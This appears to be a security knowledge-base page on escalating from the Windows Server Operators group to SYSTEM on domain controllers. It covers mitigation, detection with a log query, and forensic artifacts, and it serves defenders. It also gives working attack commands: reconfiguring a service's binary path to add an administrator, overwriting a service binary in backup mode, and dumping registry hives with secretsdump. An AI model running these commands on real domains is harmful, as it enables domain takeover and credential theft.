How it works
Server Operators is a built-in group of the domain (SID S-1-5-32-549) that exists only on domain controllers. It was designed for staff who run the servers without administering the directory. Microsoft lists what members can do on a domain controller: sign in interactively, create and delete shares, stop and start services, back up and restore files, format the disk and shut the server down. The default user rights of the group include allow log on locally, back up files and directories (SeBackupPrivilege), restore files and directories (SeRestorePrivilege), change the system time and force shutdown from a remote system.
Two of those abilities lead to SYSTEM:
- Service control. Each Windows service has its own security descriptor. The right to start and stop a service (
SERVICE_START,SERVICE_STOP) is separate from the right to change its configuration (SERVICE_CHANGE_CONFIG). Microsoft's documentation is direct about the second one: it lets the caller change the executable that the system runs, so it should be granted only to administrators. A service on a domain controller whose descriptor gives Server Operators that right, combined with the right to restart it, runs any command as the service account, which is usually LocalSystem. - Backup and restore privileges. The restore privilege grants write access to any file regardless of its ACL, and the backup privilege grants read access to any file and registry hive. Microsoft states the consequence in the group's description: members can change binaries that are installed on the domain controllers. They can also take the same hives that a Backup Operators member takes.
Either way the attacker ends with code running as SYSTEM on a machine that holds every credential of the domain. That makes the group a shadow admin path, even though Microsoft's description says members can't change administrative group memberships.
Prerequisites
- An account that is a member of Server Operators, directly or through nesting.
- An interactive logon on a domain controller (console or Remote Desktop where allowed), in an elevated prompt for the backup and restore privileges.
- For the service variant: a service whose security descriptor grants Server Operators
SERVICE_CHANGE_CONFIG, and the right to start it. A service that runs as LocalSystem and can be restarted without breaking the domain controller is the practical choice. - For the file variant: any service or scheduled task whose binary can be replaced and that will be started again.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Confirm the membership
Get-ADGroupMember -Identity 'Server Operators' -Recursive | Select-Object SamAccountName, objectClass
whoami /groups
whoami /priv
2. Find a service the group can reconfigure
:: Security descriptor of a service, in SDDL
sc.exe sdshow VendorAgent
:: Current configuration: binary path, start type and service account
sc.exe qc VendorAgent
In the SDDL output, look for an entry that ends in ;;;SO) (Server Operators). For a service object the right DC (value 0x2) is SERVICE_CHANGE_CONFIG, RP (0x10) is SERVICE_START and WP (0x20) is SERVICE_STOP. An entry for SO whose rights string contains DC, RP and WP grants all three. Check that SERVICE_START_NAME in the configuration is LocalSystem.
3. Point the service at a command and restart it
:: Save the original value first
sc.exe qc VendorAgent
:: Replace the binary path. The space after "binpath=" is required.
sc.exe config VendorAgent binpath= "cmd.exe /c net localgroup Administrators alice /add"
sc.exe stop VendorAgent
sc.exe start VendorAgent
The service control manager reports that the service failed to start, because cmd.exe does not behave like a service, but the command has already run as SYSTEM. On a domain controller net localgroup Administrators changes the built-in Administrators group of the domain.
4. Restore the service
sc.exe config VendorAgent binpath= "C:\Program Files\Vendor\Agent\agent.exe"
Use the exact value recorded in step 2.
5. Alternative: replace a service binary with restore semantics
Where no service grants the change configuration right, backup mode in robocopy uses the backup and restore privileges to overwrite a file whose ACL denies write access:
:: Keep the original
robocopy "C:\Program Files\Vendor\Agent" C:\Temp\orig agent.exe /b
:: Overwrite the binary of a service that runs as SYSTEM, then restart the service
robocopy C:\Temp\payload "C:\Program Files\Vendor\Agent" agent.exe /b
sc.exe stop VendorAgent
sc.exe start VendorAgent
6. Alternative: take the hives
reg save HKLM\SYSTEM C:\Temp\SYSTEM.save
reg save HKLM\SAM C:\Temp\SAM.save
reg save HKLM\SECURITY C:\Temp\SECURITY.save
secretsdump.py -sam SAM.save -system SYSTEM.save -security SECURITY.save LOCAL
The LSA secrets include the domain controller's machine account, which can replicate the directory. The Backup Operators page shows the rest of that path.
Impact
SYSTEM on a domain controller is control of the domain: the attacker can add accounts to Domain Admins, read ntds.dit, run DCSync and forge tickets. The same rights also allow destructive actions that need no escalation at all, because the group can stop services, format disks and shut down domain controllers. A member of Server Operators is one privilege escalation step from the top tier, with tools that are part of Windows.
OPSEC and artifacts
- No new service. Changing an existing service avoids the service installation events 7045 and 4697, which only cover new services. The change is still a write to
HKLM\SYSTEM\CurrentControlSet\Services\<name>\ImagePath, recorded as event 4657 when the key has a SACL, and by Sysmon registry events (ID 13). - Putting the value back. Restoring the binary path removes the standing artifact but writes a second registry change. Two
ImagePathwrites minutes apart on one service is itself a pattern. - The process tree. The command runs as a child of
services.exe. With process creation auditing, event 4688 showscmd.exeor the payload withservices.exeas the creator, and command line logging showssc.exe config ... binpath=. - Service control manager errors. A service pointed at a command that is not a service times out, and the System log records the failed start.
- The logon. The interactive logon of a non-administrator on a domain controller writes event 4624, and event 4672 lists
SeBackupPrivilegeandSeRestorePrivilegefor it. - File replacement. A changed service binary has a new hash, timestamp and usually no valid signature. The use of the backup and restore privileges is not logged unless "Audit: Audit the use of Backup and Restore privilege" is enabled.
Detection
- Membership. Alert on every addition to Server Operators (event 4732, group SID
S-1-5-32-549); see the privileged group membership change rules. - Service binary path changes on domain controllers. Audit the
Servicesregistry key and alert onImagePathwrites outside patch windows. For new services the service installed on a domain controller rules apply. - Children of services.exe.
cmd.exe,powershell.exe,net.exeor a binary from a user-writable path started byservices.exeon a domain controller. - Special logon by a non-administrator. Event 4672 with
SeBackupPrivilegeorSeRestorePrivilegefor an account that is neither an administrator nor a known backup identity. The sensitive user right rules cover the rights being assigned outside the group. - Follow-on activity. Changes to Administrators or Domain Admins, hive saves and
ntds.ditaccess, as covered by the NTDS.dit extraction rules.
// Service configuration changed from the command line on domain controllers
SecurityEvent
| where EventID == 4688
| where Process =~ "sc.exe" and CommandLine has "config" and CommandLine has "binpath"
| project TimeGenerated, Computer, Account, ParentProcessName, CommandLine
| order by TimeGenerated desc
The query needs process creation auditing with command line logging. It catches sc.exe only; the same change can be made through the service control API or the registry, which is why the registry audit is the stronger signal.
Mitigation
- Keep Server Operators empty. Day-to-day domain controller operations should run under Tier 0 administrative accounts with tiered sign-in, not under a separate operator group. The Active Directory hardening guide describes the model.
- Treat any remaining member as a domain administrator for sign-in restrictions, credential strength and monitoring, in line with least privilege.
- Review service descriptors on domain controllers. List the services whose security descriptor grants
SERVICE_CHANGE_CONFIGto anyone other than administrators and SYSTEM, and remove the entry where the vendor does not need it. - Review backup and restore rights. Read the effective "Back up files and directories" and "Restore files and directories" assignments on domain controllers and remove principals that do not perform backups.
- Keep third-party agents off domain controllers where possible, and protect the folders of the ones that must run there.
- Audit. Enable Security Group Management, Special Logon, Process Creation and Registry auditing (with a SACL on the
Serviceskey) on domain controllers. The audit policy guide lists the settings.
Detection rules for this attack
Log events to collect
FAQ
What can Server Operators do on a domain controller?
Members can sign in interactively, create and delete shares, start and stop services, back up and restore files, format disks and shut the server down. Microsoft notes that they can change binaries installed on domain controllers and treats the group as a service administrator group for that reason.
Can Server Operators change any service?
It depends on each service's own security descriptor. Starting and stopping a service and changing its configuration are separate access rights. A service whose descriptor gives Server Operators the change configuration right can be pointed at any command. Where that right is missing, the backup and restore privileges still let a member replace the service's binary on disk.
Why is no service installation event logged?
Events 7045 and 4697 are written when a service is created. Changing the binary path of an existing service does not create a service, so neither event appears. The change shows up as a write to the service's ImagePath registry value and as an unusual child process of services.exe.
Does the group exist on member servers?
No. Server Operators exists only on domain controllers, as a built-in group of the domain. It is empty by default, so every member was added on purpose.
References
- Active Directory security groups: Server Operators (Microsoft Learn)
- Service security and access rights (Microsoft Learn)
- sc.exe config (Microsoft Learn)
- Create or Modify System Process: Windows Service, T1543.003 (MITRE ATT&CK)
- Privilege constants: SeBackupPrivilege and SeRestorePrivilege (Microsoft Learn)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.